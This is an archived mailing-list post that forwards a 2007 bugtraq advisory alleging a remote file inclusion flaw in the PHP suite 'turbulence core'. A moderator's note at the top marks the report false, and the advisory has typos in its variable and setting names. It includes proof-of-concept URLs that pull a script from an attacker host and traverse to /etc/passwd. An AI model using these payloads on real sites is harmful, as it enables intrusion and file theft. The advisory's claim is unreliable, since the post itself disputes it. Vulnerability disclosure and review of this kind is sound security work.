[VIM] false: turbolence core 0.0.1 alpha Remote File Inclusion

[str0ke]

Since the tdb_connect function doesn't exist in the script (or
included in the script) it will die with a fatal error.

/str0ke

---------- Forwarded message ----------
From: omnipresent at email.it <omnipresent at email.it>
Date: 21 Apr 2007 10:55:11 -0000
Subject: turbolence core 0.0.1 alpha Remote File Inclusion
To: bugtraq at securityfocus.com


  .      .        .
._ | _.  .|_  _. _.;_/
[_)|(_]\_|[ )(_](_.| \.net
|      ._|
"turbulence core.0.0.1-alpha - REMOTE FILE INCLUSION"
        by Omni

1) Infos
---------
Date            : 2007-04-20
Product         : turbulence core
Version         : 0.0.1 alpha
Vendor          : http://sourceforge.net/projects/turbulence
Vendor Status   : 2007-04-20 -> Not Informed!
                  2007-04-21 -> Vendor Informed!

Description     :  PHP Turbulence is a suite of PHP scripts that work
together in unison. They do not require one another
                   to be present, but work perfect together. The
intent of the project is to eliminate the need to download
                   a PHP message board, PHP news, PHP user managment.

Source          : omnipresent - omni
E-mail          : omnipresent @ email . it - omni @ playhack . net
Team            : Playhack.net Security

2) Security Issues
-------------------

--- [ Remote File Inclusion Vulnerability ] ---
===============================================

[ /user/turbolence.php - Line 34 - 39 ]

[...]

$tdbconn = tdb_connect($GLOBALS['tdb']);
if (!$tdbconn) decho("Database Connection Failed...");
decho("Database Connection: ".$tdbconn);
include($GLOBALS['tcore'].'/user/session.inc');

if ($GLOBALS['login']) {

[...]

[ end script turbolence.php ]

As you can see the variable $GLOBALS['tcode'] is not properly
sanitized before being used; so an attacker can gain access
to the shell by using a crafted URL.

--- [ PoC ] ---
===============

Tested on a php.ini configuration as the follow:

register_global = On
allow_url_unclude = On

RFI:

http://127.0.0.1/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt?

LFI:

http://127.0.0.1/turbulence.php?GLOBALS[tcore]=../../../../../../../../../../../../etc/passwd%00


---- [ Patch ] ----

1. Edit the source code to ensure that the input is validated.
2. To avoid Remote File Inclusion turn Off allow_url_include.